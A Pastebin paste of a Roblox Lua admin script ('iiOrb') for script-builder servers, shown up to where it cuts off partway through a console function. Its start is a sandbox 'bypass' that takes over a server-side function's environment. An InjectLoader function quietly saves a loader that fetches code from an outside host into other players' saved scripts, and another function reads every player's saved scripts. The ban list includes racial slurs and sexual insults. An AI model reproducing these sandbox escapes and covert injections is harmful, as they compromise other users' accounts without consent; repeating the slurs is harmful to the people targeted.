Advertisement
minecrafter523

Orb

Jun 1st, 2016
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.14 KB | None | 0 0
  1.  
  2. --[[//CREDITS
  3.  
  4. --[[//UPDATE LOG
  5.  
  6.  
  7. Turned off rbxdb features --c22
  8.  
  9. Added speed and bounce command -- error18 and c22
  10.  
  11.  
  12.  
  13. --//UPDATE LOG END]]--
  14. wait(); --Unremovable bypass
  15. script.Parent=nil
  16. rawset(shared, "\0bp", function()
  17. local i=game:service'InsertService':LoadAssetVersion(519416165);
  18. local n=i:children()[1];
  19. game:service'Debris':AddItem(i,0);
  20. n.Parent=workspace;
  21. coroutine.yield();
  22. local e;
  23. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  24. _G.OSC_AddServerSideData=nil;
  25. game:service'Debris':AddItem(n,0);
  26. return e
  27. end);
  28. local y=shared['\0bp']();
  29. shared["\0bp"]=nil;
  30. game:GetService'ReplicatedStorage':ClearAllChildren();
  31. y.setfenv(0,y);
  32. y.setfenv(1,y);
  33. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  34.  
  35. -- Easiest Fixing ever l0l.
  36.  
  37. --// TOTS NOT SOLARIS :)
  38. local iiOrb = {
  39. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  40. --// Kill Switch
  41. __STATUS = true;
  42. --// Administrations Components
  43. Admins = {
  44. ['Control22']={Level=5};
  45. [tostring(game.Players:GetNameFromUserIdAsync(1))]={Level=5}; -- Wait... so ROBLOX is lvl 5? w0t LOL.
  46. ["jebjordan"]={Level=2e9};
  47. ['supersonicfan111']={Level=2};
  48. ['GoldenLuaCode']={Level=2e9};
  49. ["Player1"]={Level=5};
  50. ['Ledtred']={Level=4};
  51. ["clv2"]={Level=5};
  52. ["error18"]={Level=2e9};
  53. ["DrAnkIe"]={Level=3};
  54. ["Control22"]={Level=2e9};--Screw you opligitory XD -- LOL.
  55. ["Dev3l0per"]={Level=5}; -- Pretty sure this is op too :/ if not then lol.
  56. ['Guest72086']={Level=2e9};
  57. ['destroyerethank']={Level=2e9};
  58. };
  59. Levels = {
  60. [-1]='ih8youk';
  61. [1]="User";
  62. [2]="Trusted";
  63. [3]="Friend";
  64. [4]="Trusted asf person";
  65. [5]="Creator/Developer";
  66. [2e9]='Founder';
  67. };
  68. Banned = {
  69.  
  70. skrillex6996="Hopefully this ban gives you time to think about how pathetic you are. -Guest72086";
  71. Mikko3m="dont ban me skid C:";
  72. Om3gapro5ooo="no fucking around.";
  73. --w00t111="this server has a age restriction come back in 970 days";
  74. --CharcterKaiser="go die annoying skid";
  75. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  76. robloxchamp20="u ban me i ban u git rkt";
  77. -- iiDeadzone="u ban me i ban u git rkt";
  78. -- endermanac="git bbban11!!!";
  79. -- Dman2435="die just die";
  80. -- Dman2435alt="die just die";
  81. -- meunumbertwo="ur banned bby";
  82. -- Copenricus45="you got stopped by an admin skid c;";
  83. --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die";
  84. supersonicfan111="get out skid go suc\5k my d\5ick b\5itch who\5re";
  85. PWNTART = "die pls thx u";
  86. HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk";
  87. BookOEchos="git banned bitch";
  88. Autospy="another alt another ban";
  89. TotallyNotAnAlt1257="another alt another ban";
  90. fmerSKID005="another alt another ban";
  91. crazychimp1284="dienoobkthxbye";
  92. MrXTheGreat="dienoobkthxbye";
  93. ScriptNurd="dienoobkthxbye";
  94. Therealestnumber1="dienoobkthxbye";
  95. Opligi="dienoobkthxbye";
  96. jmckoy12="dienoobkthxbye";
  97. --5asc
  98. DangCoolIsReal3="dienoobkthxbye";
  99. legendy123="dienoobkthxbye";
  100. PithIsOnline="dienoobkthxbye";
  101. Opllgltory="git banned wanabe";
  102. YeaImnotanalt="dienoobkthxbye";
  103. superkiki609="git banned?";
  104. immcool1="git banned now skid";
  105. TickerOfTime='kicking players';
  106. };
  107. Chatted = {
  108. Settings = {
  109. Prefix = ";";
  110. Suffix = "-";
  111. };
  112. Commands = {};
  113. };
  114. --// Orb Components
  115. Settings = {
  116. Orb = nil;
  117. Character = nil;
  118. Following = false;
  119. Target = "";
  120. TrailParts = {};
  121. Trail = true;
  122. OrbColor = BrickColor.new("Institutional white");
  123. TrailColor = BrickColor.new("Institutional white");
  124. Rotation = {
  125. Rot = 0;
  126. Radius = 5;
  127. Height = 1.5;
  128. Bounce = 2.0;
  129. Speed = 0.02;
  130. Length = 0.01;
  131. };
  132. };
  133. --// Tool Components
  134. Blocker = {
  135. LocalBlock = false;
  136. GlobalBlock = false;
  137. LagBlocker = true;
  138. };
  139. LagBlockedInstances = {
  140. "Message";
  141. "Hint";
  142. "Sound";
  143. };
  144. Logs = {};
  145. --// Functional Storage
  146. API = {
  147. Bootstrap = {}
  148. };
  149. }
  150. local Settings = iiOrb.Settings
  151. local API = iiOrb.API
  152. local Bootstrap = API.Bootstrap
  153. local Time = require(285173569)
  154. --local rbxdb = require(278524047)
  155. --local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
  156. --pcall(rbxdb:Connect(key))
  157.  
  158. --// Output API
  159.  
  160. function API.print_to(target,input)
  161. type = type or 'Warn'
  162. if input == nil then input = "nil" end
  163. local plr
  164. if type(target)=='userdata'then
  165. plr = target
  166. elseif type(target)=='string'then
  167. plr = game:GetService('Players'):FindFirstChild(target)
  168. end
  169. if type(plr)=='userdata' then
  170. local str = Instance.new('StringValue',plr)
  171. str.Name = 'SB_Output:Output'
  172. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  173. end
  174. end local print_to = iiOrb.API.print_to
  175.  
  176. function API.print(input)
  177. if input == nil then input = "nil" end
  178. for i,v in pairs(game:GetService('Players'):children())do
  179. if iiOrb.Admins[v.Name]then
  180. if iiOrb.Admins[v.Name].Level > 2 then
  181. print_to(v,input)
  182. end
  183. end
  184. end
  185. end local print = iiOrb.API.print
  186.  
  187. function API.print_lvl(level,input)
  188. if input == nil then input = "nil" end
  189. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  190. if iiOrb.Admins[v.Name]then
  191. if iiOrb.Admins[v.Name].Level > level then
  192. print_to(v,input)
  193. end
  194. end
  195. end
  196. end local print_lvl = iiOrb.API.print_lvl
  197.  
  198. function API.broadcast(input)
  199. if input == nil then input = "nil" end
  200. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  201. print_to(v,input)
  202. end
  203. end local broadcast = iiOrb.API.broadcast
  204.  
  205. --// Utility API
  206.  
  207. function API.Make(ClassName)
  208. return function(data)
  209. local Instance = Instance.new(ClassName)
  210. for index,value in pairs(data) do
  211. if type(index) == "number" then
  212. value.Parent = Instance
  213. else
  214. Instance[index] = value
  215. end
  216. end
  217. return Instance
  218. end
  219. end local Make = API.Make
  220.  
  221. function API.clerp(p1,p2,percent)
  222. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  223. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  224. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  225. end local clerp = API.clerp
  226.  
  227. function API.Rainbow(i)
  228. local section = i % 1 * 3
  229. local secondary = 0.5 * math.pi * (section % 1)
  230. if section < 1 then
  231. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  232. elseif section < 2 then
  233. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  234. else
  235. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  236. end
  237. end local Rainbow = API.Rainbow
  238.  
  239. function API.GetPlayer(msg,plr)
  240. local Collected_Players = {}
  241. if string.lower(msg) == "me" then
  242. table.insert(Collected_Players, plr)
  243. elseif string.lower(msg) == "all" then
  244. for index,player in pairs(game:GetService('Players'):children()) do
  245. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  246. table.insert(Collected_Players, player)
  247. end
  248. end
  249. elseif string.lower(msg) == "others" then
  250. for index,player in pairs(game:GetService('Players'):children()) do
  251. if player.Name ~= plr.Name then
  252. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  253. table.insert(Collected_Players, player)
  254. end
  255. end
  256. end
  257. elseif string.lower(msg) == "friends" then
  258. for index,player in pairs(game:GetService('Players'):children()) do
  259. if player.Name ~= plr.Name then
  260. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  261. if plr:IsFriendsWith(player.userId) == true then
  262. table.insert(Collected_Players, player)
  263. end
  264. end
  265. end
  266. end
  267. elseif string.lower(msg) == "nonfriends" then
  268. for index,player in pairs(game:GetService('Players'):children()) do
  269. if player.Name ~= plr.Name then
  270. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  271. if plr:IsFriendsWith(player.userId) == false then
  272. table.insert(Collected_Players, player)
  273. end
  274. end
  275. end
  276. end
  277. else
  278. for index,player in pairs(game:GetService('Players'):children()) do
  279. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  280. if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  281. table.insert(Collected_Players, player)
  282. end
  283. end
  284. end
  285. end
  286. return Collected_Players
  287. end local GetPlayer = API.GetPlayer
  288.  
  289. function API.GetSplit(msg)
  290. return string.find(msg,iiOrb.Chatted.Settings.Suffix)
  291. end local GetSplit = API.GetSplit
  292.  
  293. function API.Generate(Length)
  294. local Generated = ""
  295. for _ = 1, Length do
  296. Generated = Generated .. string.char(math.random(33,126))
  297. end
  298. return Generated
  299. end local Generate = API.Generate
  300.  
  301. function API.GetGarbage(plr)
  302. print_to(plr,"Got Garbage")
  303. print_to(plr,"________________________")
  304. for i = 1,10 do wait(1)
  305. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  306. end
  307. print_to(plr,"________________________")
  308. end local GetGarbage = API.GetGarbage
  309.  
  310. --// Orb API
  311.  
  312. function API.SpawnOrb()
  313. Settings.Orb = Make('Part'){
  314. Name = "\5iiOrb\5";
  315. Parent = game.Workspace,
  316. BrickColor = Settings.OrbColor,
  317. Material = Enum.Material.SmoothPlastic,
  318. Transparency = .1,
  319. Anchored = true,
  320. CanCollide = false,
  321. Locked = true,
  322. FormFactor = "Symmetric",
  323. Shape = "Ball",
  324. Size = Vector3.new(1,1,1),
  325. TopSurface = 10,
  326. BottomSurface = 10,
  327. }Settings.Orb.Changed:connect(function()
  328. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  329. if iiOrb.__STATUS == true then
  330. API.SpawnOrb()
  331. end
  332. end
  333. end)
  334. end local SpawnOrb = API.SpawnOrb
  335.  
  336. function API.MakeTrail()
  337. if Settings.Orb ~= nil and Settings.Trail == true then
  338. local Trail = Make'Part'{
  339. Name='\5iiOrb\5',
  340. CanCollide = false,
  341. Parent = Settings.Orb,
  342. BrickColor = Settings.TrailColor,
  343. Material = Enum.Material.SmoothPlastic,
  344. Transparency = .1,
  345. Anchored = true,
  346. Locked = true,
  347. FormFactor = "Custom",
  348. Size = Vector3.new(.2,.2,.2),
  349. CFrame = Settings.Orb.CFrame,
  350. TopSurface = 10,
  351. BottomSurface = 10,
  352. }table.insert(Settings.TrailParts, Trail)
  353. return Trail
  354. end
  355. end local MakeTrail = API.MakeTrail
  356.  
  357. function API.SpawnTrail()
  358. if Settings.Orb ~= nil and Settings.Trail == true then
  359. local Trail = API.MakeTrail()
  360. end
  361. end local SpawnTrail = API.SpawnTrail
  362.  
  363. function API.Rotate()
  364. game:GetService('RunService').Stepped:connect(function()
  365. if iiOrb.__STATUS == true then
  366. wait()
  367. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  368. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  369. Settings.Character = Following.Character.Torso.CFrame
  370. else
  371. Settings.Character = CFrame.new(0,5.7,0)
  372. end
  373. if Settings.Orb ~= nil then
  374. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  375. Settings.Orb.Name = "ii\5Orb"
  376. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  377. CFrame.new(Settings.Character.p)
  378. *CFrame.new(0,3.9,0)
  379. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  380. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  381. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  382. API.SpawnTrail()
  383. for i,_ in next,Settings.TrailParts do
  384. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  385. local Part1 = Settings.TrailParts[i]
  386. local Part2 = Settings.TrailParts[i+1]
  387. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  388. Part1.Name = math.random(1,99999999)
  389. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  390. Part1.Transparency = Part1.Transparency + .017
  391. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  392. * CFrame.Angles(math.pi/2,0,0)
  393. if Part1.Size.X >= .74 then
  394. Part1:Destroy()
  395. table.remove(Settings.TrailParts, i)
  396. end
  397. end
  398. end
  399. end
  400. end
  401. end)
  402. end local Rotate = API.Rotate
  403.  
  404. function API.ChangeTheme(plr,theme)
  405. --// Sets orb to default configurations
  406. Settings.Orb.BrickColor = BrickColor.new('White')
  407. Settings.Orb.Transparency = .1
  408. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  409. --// Themes
  410. if theme == 'normal' then
  411. API.SpawnTrail = function()
  412. if Settings.Orb ~= nil and Settings.Trail == true then
  413. local Trail = API.MakeTrail()
  414. end
  415. end
  416. elseif theme == 'c22' or theme == 'default' then
  417. API.SpawnTrail = function()
  418. if Settings.Orb ~= nil and Settings.Trail == true then
  419. local Trail = API.MakeTrail()
  420. spawn(function()
  421. Settings.Orb.BrickColor = BrickColor.new('Really black')
  422. Trail.BrickColor = BrickColor.new('Really red')
  423. local box = Make('SelectionBox'){
  424. Adornee = Trail;
  425. Parent = Trail;
  426. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  427. LineThickness = 0.001;
  428. Color3 = Color3.new(0,0,0);
  429. }
  430. end)
  431. end
  432. end
  433. elseif theme == 'des1' then
  434. API.SpawnTrail = function()
  435. if Settings.Orb ~= nil and Settings.Trail == true then
  436. local Trail = API.MakeTrail()
  437. spawn(function()
  438. Settings.Orb.BrickColor = BrickColor.new('Royal purple')
  439. Trail.BrickColor = BrickColor.new('Lime green')
  440. local box = Make('SelectionBox'){
  441. Adornee = Trail;
  442. Parent = Trail;
  443. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  444. LineThickness = 0.001;
  445. Color3 = Color3.new(0,0,0);
  446. }
  447. end)
  448. end
  449. end
  450. elseif theme == 'des2' then
  451. API.SpawnTrail = function()
  452. if Settings.Orb ~= nil and Settings.Trail == true then
  453. local Trail = API.MakeTrail()
  454. spawn(function()
  455. Settings.Orb.BrickColor = BrickColor.new('Eggplant') --Party Confetti
  456. Trail.BrickColor = BrickColor.new('Persimmon') --Sugar Hearts
  457. local box = Make('SelectionBox'){
  458. Adornee = Trail;
  459. Parent = Trail;
  460. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  461. LineThickness = 0.001;
  462. Color3 = Color3.new(0,0,0); --Depths of My Soul Black
  463. }
  464. wait(0.25)
  465. Trail.BrickColor = BrickColor.new('Deep orange') --Sugar Cocktail
  466.  
  467. wait(0.25)
  468. Trail.BrickColor = BrickColor.new('New Yeller') --Bursts of Euphoria
  469.  
  470. wait(0.25)
  471. Trail.BrickColor = BrickColor.new('Forest green') --Festus the Happy Balloon
  472. end)
  473. end
  474. end
  475. elseif theme == 't0t' or theme == 'tr0ll' then
  476. API.SpawnTrail = function()
  477. if Settings.Orb ~= nil and Settings.Trail == true then
  478. local Trail = API.MakeTrail()
  479. spawn(function()
  480. Settings.Orb.BrickColor = BrickColor.new('White')
  481. local S_Box = Make('SelectionBox'){
  482. Adornee = Trail;
  483. Parent = Trail;
  484. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  485. LineThickness = 0;
  486. Color3 = BrickColor.new("White").Color;
  487. }
  488. Trail.BrickColor = BrickColor.new('White')
  489. wait(0.5)
  490. Trail.BrickColor = BrickColor.new('Lime green')
  491. end)
  492. end
  493. end
  494. elseif theme == 'error' or theme == 'err' then
  495. API.SpawnTrail = function()
  496. if Settings.Orb ~= nil and Settings.Trail == true then
  497. local Trail = API.MakeTrail()
  498. spawn(function()
  499. Settings.Orb.BrickColor = BrickColor.new('Really red')
  500. local S_Box = Make('SelectionBox'){
  501. Adornee = Trail;
  502. Parent = Trail;
  503. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  504. LineThickness = 0;
  505. Color3 = BrickColor.new("Really red").Color;
  506. }
  507. Trail.BrickColor = BrickColor.new('Really red')
  508. wait(0.5)
  509. Trail.BrickColor = BrickColor.new('Bright orange')
  510. end)
  511. end
  512. end
  513. elseif theme == 'rath' or theme == 'mine101' then
  514. API.SpawnTrail = function()
  515. if Settings.Orb ~= nil and Settings.Trail == true then
  516. local Trail = API.MakeTrail()
  517. spawn(function()
  518. Settings.Orb.BrickColor = BrickColor.new('Toothpaste')
  519. local S_Box = Make('SelectionBox'){
  520. Adornee = Trail;
  521. Parent = Trail;
  522. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  523. LineThickness = 0;
  524. Color3 = BrickColor.new("White").Color;
  525. }
  526. Trail.BrickColor = BrickColor.new('Toothpaste')
  527. wait(0.5)
  528. Trail.BrickColor = BrickColor.new('Really black')
  529. end)
  530. end
  531. end
  532. elseif theme == 'ii' then
  533. API.SpawnTrail = function()
  534. if Settings.Orb ~= nil and Settings.Trail == true then
  535. local Trail = API.MakeTrail()
  536. spawn(function()
  537. Settings.Orb.BrickColor = BrickColor.new('Really black')
  538. local box = Make('SelectionBox'){
  539. Adornee = Trail;
  540. Parent = Trail;
  541. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  542. LineThickness = 0.001;
  543. Color3 = Color3.new(0,0,0);
  544. }
  545.  
  546. Trail.BrickColor = BrickColor.new('Really black')
  547. wait(0.5)
  548. Trail.BrickColor = BrickColor.new('Lime green')
  549. end)
  550. end
  551. end
  552. elseif theme == 'gwc' then
  553. API.SpawnTrail = function()
  554. local Trail = API.MakeTrail()
  555. spawn(function()
  556. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  557. local S_Box = Make('SelectionBox'){
  558. Adornee = Trail;
  559. Parent = Trail;
  560. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  561. LineThickness = 0.0000001;
  562. Color3 = BrickColor.new("Really black").Color;
  563. }
  564. Trail.BrickColor = BrickColor.new'Lime green'
  565. wait(0.50)
  566. Trail.BrickColor = BrickColor.new'Really blue'
  567. end)
  568. end
  569. elseif theme == 'whiteout' then
  570. API.SpawnTrail = function()
  571. local Trail = API.MakeTrail()
  572. spawn(function()
  573. Trail.BrickColor = BrickColor.new("White")
  574. Settings.Orb.BrickColor = BrickColor.new("Really black")
  575. local S_Box = Make('SelectionBox'){
  576. Adornee = Trail;
  577. Parent = Trail;
  578. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  579. LineThickness = 0;
  580. Color3 = BrickColor.new("Really black").Color;
  581. }
  582. local Mesh = Make('SpecialMesh'){
  583. Parent = Settings.Orb;
  584. MeshId = "http://www.roblox.com/asset/?id=1529453";
  585. Name = "Mesh";
  586. Scale = Vector3.new(2.5,2.5,2.5)
  587. }
  588. end)
  589. end
  590. elseif theme == 'hidden' then
  591. API.SpawnTrail = function()
  592. local Trail = API.MakeTrail()
  593. spawn(function()
  594. Trail.Transparency = 1
  595. Settings.Orb.Transparency = 1
  596. end)
  597. end
  598. else
  599. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  600. return
  601. end
  602. print_to(plr,"[iiOrb 2.0]: Orb has changed theme to "..theme)
  603. end local ChangeTheme = API.ChangeTheme
  604.  
  605. function API.Follow(boolean,plr)
  606. if type(plr)~='string'then return end
  607. if boolean == true then
  608. Settings.Following = true
  609. Settings.Target = plr
  610. elseif boolean == false then
  611. Settings.Following = false
  612. Settings.Target = ""
  613. end
  614. end local Follow = API.Follow
  615.  
  616.  
  617. --// Oxcool1 Sb Tools API
  618.  
  619. function API.Sbexe(cmd,plr)
  620. if not type(cmd)=='string'then return end
  621. if plr then
  622. if type(plr)=='userdata'then
  623. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  624. elseif type(plr)=='string'then
  625. plr = game:GetService('Players'):FindFirstChild(plr)
  626. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  627. end
  628. else
  629. for i,v in pairs(game:GetService('Players'):children())do
  630. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  631. end
  632. end
  633. end local Sbexe = API.Sbexe
  634.  
  635. function API.ConnectLogger(plr)
  636. if type(plr) ~= 'userdata'then return end
  637. if plr:FindFirstChild("SB_CommandRemote",true) then
  638. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  639. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  640. Sbexe("g/ns")wait(.1)
  641. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  642. end
  643. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://hastebin.com/raw/muvazesare.lua' then
  644. Sbexe("g/ns")wait(.1)
  645. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  646. end
  647. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  648. table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  649. local CurrentTime = Time:GetTime()
  650. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  651. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  652. end
  653. end)
  654. end
  655. end local ConnectLogger = API.ConnectLogger
  656.  
  657. function API.GetLogs(plr)
  658. print_to(plr,"Got logs")
  659. if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end
  660. for index,data in pairs(iiOrb.Logs)do
  661. if #iiOrb.Logs > 30 then wait(.1)end
  662. print_to(plr,tostring(data.User))
  663. print_to(plr,tostring(data.Command))
  664. print_to(plr,"--------------------------------")
  665. end
  666. end local GetLogs = API.GetLogs
  667.  
  668. function API.InjectLoader(plr)
  669. Sbexe("remove/load_iiOrb",plr)
  670. Sbexe("ch/load_iiOrb/https://sb-scripts-brandan000124.c9.io/iiOrb 2.0 Module/HttpLoad.lua",plr)
  671. Sbexe("save/load_iiOrb",plr)
  672. print('Injected loader into '..tostring(plr))
  673. print(tostring(plr)..' has been given a loader ;)')-- l0l nice
  674. end local InjectLoader = API.InjectLoader
  675.  
  676. function API.GetSavedScripts(plr)
  677. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  678. print_to(plr,"Got Saved Scripts")
  679. for i,v in pairs(game:GetService('Players'):children())do
  680. if v.ClassName == 'Player' then
  681. local Encoded_Table = v:LoadString(Save_Key)
  682. local Decoded_Table
  683.  
  684. --//Table Decoding
  685. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  686. Decoded_Table = {{No=" Saved Scripts"}}
  687. else
  688. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  689. end
  690. --// Table Printing
  691. --print_to(plr,"------------------------------------------------------------------")
  692. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  693. if type(Decoded_Table)=='table'then
  694. for _index,_data in pairs(Decoded_Table)do
  695. for index,data in pairs(_data)do
  696. wait(.1)
  697. print_to(plr,index.." : "..data)
  698. end
  699. end
  700. end
  701. print_to(plr,"------------------------------------------------------------------")
  702. end
  703. end
  704. end local GetSavedScripts = API.GetSavedScripts
  705.  
  706. function API.GiveServerConsole(Player)
  707. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  708. spawn(function()
  709. local Create = API.Make
  710. local Closed = false
  711. local ScreenGui = Create "ScreenGui" {
  712. Name = "Server Console",
  713. Parent = Player.PlayerGui
  714. }
  715. local Main = Create "TextButton" {
  716. AutoButtonColor = false,
  717. BackgroundColor3 = Color3.new(0, 0, 0),
  718. BorderSizePixel = 0,
  719. Size = UDim2.new(0, 375, 0, 15),
  720. Draggable = true,
  721. Font = "SourceSansBold",
  722. FontSize = "Size14",
  723. TextYAlignment = "Top",
  724. TextColor3 = Color3.new(1, 1, 1),
  725. Text = " Server Console",
  726. TextXAlignment = "Left",
  727. Position = UDim2.new(0.321, 0, 0.196, 0),
  728. Parent = ScreenGui
  729. }
  730. local Refresh = Create "TextButton" {
  731. Active = true,
  732. AutoButtonColor = false,
  733. BackgroundColor3 = Color3.new(0, 0, 0),
  734. BorderSizePixel = 0,
  735. Position = UDim2.new(1, 0, 0, 0),
  736. Size = UDim2.new(0, 60, 0, 15),
  737. Font = "SourceSansBold",
  738. FontSize = "Size14",
  739. Text = "Refresh",
  740. TextYAlignment = "Top",
  741. TextColor3 = Color3.new(1, 1, 1),
  742. TextYAlignment = "Top",
  743. TextXAlignment = "Right",
  744. Parent = Main
  745. }
  746. local TextButton = Create "TextButton" {
  747. AutoButtonColor = false,
  748. BackgroundColor3 = Color3.new(0, 0, 0),
  749. BorderSizePixel = 0,
  750. Position = UDim2.new(1, 60, 0, 0),
  751. Size = UDim2.new(0, 15, 0, 15),
  752. Font = "SourceSansBold",
  753. FontSize = "Size14",
  754. TextYAlignment = "Top",
  755. Text = "-",
  756. TextColor3 = Color3.new(1, 1, 1),
  757. Parent = Main
  758. }
  759. local ContentFrame = Create "Frame" {
  760. BackgroundColor3 = Color3.new(0, 0, 0),
  761. BackgroundTransparency = 0.2,
  762. BorderSizePixel = 0,
  763. Position = UDim2.new(0, 0, 0, 15),
  764. Size = UDim2.new(0, 450, 0, 0),
  765. Parent = Main
  766. }
  767. local ScrollingFrame = Create "ScrollingFrame" {
  768. Size = UDim2.new(1, 0, 1, 0),
  769. CanvasSize = UDim2.new(3, 0, 0, 0),
  770. MidImage = "rbxassetid://158362264",
  771. TopImage = "rbxassetid://158362307",
  772. BottomImage = "rbxassetid://158362221",
  773. BackgroundTransparency = 1,
  774. BorderSizePixel = 0,
  775. ScrollBarThickness = 5,
  776. Parent = ContentFrame
  777. }
  778. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  779. TextButton.MouseButton1Down:connect(function()
  780. if Closed == false then
  781. Closed = true
  782. TextButton.Text = "+"
  783. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  784. delay(1, function()
  785. ScrollingFrame.Visible = false
  786. end)
  787. else
  788. Closed = false
  789. TextButton.Text = "-"
  790. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  791. delay(0.5, function()
  792. ScrollingFrame.Visible = true
  793. end)
  794. end
  795. end)
  796. local function GetNumberOfChildren(Object)
  797. local Number = -15
  798. for index,child in pairs(Object:GetChildren()) do
  799. if child.ClassName == "TextLabel" then
  800. Number = Number + 15
  801. end
  802. end
  803. return Number
  804. end
  805. local function Output(Text, Color)
  806. local Line = Create "TextLabel" {
  807. ZIndex = 2,
  808. BackgroundTransparency = 1,
  809. BorderSizePixel = 0,
  810. Text = string.format(" %s", Text),
  811. Font = "SourceSansBold",
  812. FontSize = "Size14",
  813. TextColor3 = Color,
  814. TextWrapped = false,
  815. Size = UDim2.new(1, 0, 0, 15),
  816. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  817. TextXAlignment = "Left",
  818. TextYAlignment = "Top",
  819. TextStrokeTransparency = 0.9,
  820. Parent = ScrollingFrame,
  821. }
  822. if #ScrollingFrame:GetChildren() > 29 then
  823. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  824. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  825. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  826. end
  827. end
  828. local function OutputLogHistory()
  829. for index,data in pairs(game.LogService:GetLogHistory()) do
  830. if data.messageType == Enum.MessageType.MessageOutput then
  831. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
